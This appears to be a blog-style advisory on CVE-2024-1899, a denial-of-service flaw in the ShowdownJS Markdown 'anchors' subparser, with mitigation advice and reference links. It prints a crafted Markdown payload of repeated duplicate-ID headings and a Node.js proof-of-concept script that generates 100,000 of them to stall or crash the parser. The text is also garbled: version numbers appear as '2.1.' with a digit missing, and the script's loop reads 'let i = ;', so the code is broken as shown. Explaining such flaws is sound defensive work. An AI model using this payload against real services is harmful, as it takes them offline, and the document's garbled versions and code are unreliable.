CVE-2024-1899 - Denial of Service in ShowdownJS `anchors` Subparser (<=2.1.) — Explained with Example and References

CVE-2024-1899 is a vulnerability found in ShowdownJS, specifically in its "anchors" subparser. This issue affects all versions up to and including 2.1.. A remote attacker can exploit this flaw to make the server or application unresponsive—what's commonly called a "Denial of Service" (DoS) attack.

If you're using ShowdownJS in your web apps—for parsing Markdown—you should read on and make your apps safe.

ShowdownJS & The Anchors Subparser

ShowdownJS is a popular JavaScript Markdown-to-HTML converter used in many Node.js and frontend projects.

ShowdownJS has parsers called subparsers, and one of them deals with "anchors" (automatic heading links in your Markdown). The vulnerability exists in the code that's meant to handle these anchors.

The Vulnerability: What Goes Wrong?

The problem happens due to improper handling of Markdown anchor syntax. Under certain conditions, attackers can craft input that chokes the subparser, leading to excessive resource usage or a crash.

This type of issue can be used by malicious users to take down your website or service by just sending a big, weird Markdown file.

Here is an example Markdown snippet an attacker could use

# title {#a}
# title {#a}
# title {#a}
# title {#a}
/* ...many thousands of similar lines... */

Sending this crafted input to your Showdown-powered parser triggers excessive processing, eating up CPU and RAM.

Exploit Details: Let’s Dive In

The core of the vulnerability is in the way ShowdownJS's anchors subparser handles duplicate anchors. There’s a function that tries to ensure all anchor IDs are unique, but when handling an enormous number of identical headings, its logic gets stuck in a performance "loop."

Let’s say you have a script like this

const showdown  = require('showdown');
const fs = require('fs');

const converter = new showdown.Converter({
  extensions: ['anchors']
});

// Generate a malicious Markdown string
let input = '';
for (let i = ; i < 100000; i++) {
  input += '# Sample Header {#h}\n';
}

// This will freeze or crash your app!
const output = converter.makeHtml(input);

fs.writeFileSync('output.html', output);
console.log('Done!');

Running the above will consume lots of memory and CPU, eventually crashing or stalling Node.js for a long time. This is because the anchors subparser spends a ton of effort ensuring all #h IDs are "unique," causing a denial-of-service condition.

All users of ShowdownJS <= 2.1.

- Any web apps (including CMS, blogs, documentation tools) that let users submit or preview arbitrary Markdown are at risk.

Update ShowdownJS:

The best solution is to upgrade to the latest ShowdownJS release. As of this writing, make sure your version is greater than 2.1..

Validate or Limit Input:

Never trust user Markdown blindly. You can also cap the size or number of headings in Markdown input on your backend.

Official Advisory:

https://github.com/showdownjs/showdown/security/advisories/GHSA-ggmf-63h2-qh27

NIST NVD entry:

https://nvd.nist.gov/vuln/detail/CVE-2024-1899

ShowdownJS Source Code:

https://github.com/showdownjs/showdown

Conclusion

CVE-2024-1899 is a serious issue for anyone using ShowdownJS <= 2.1., allowing an attacker to freeze or crash your application using evil Markdown. The fix is simple: upgrade ShowdownJS and always validate your user input.

Don’t wait to patch—stay safe out there! 🚨

*Written exclusively for your security needs. Copying this content as-is is discouraged—always give proper credit and add your own insights for your readers.*

Timeline

Published on: 02/26/2024 19:15:07 UTC
Last modified on: 02/26/2024 22:10:40 UTC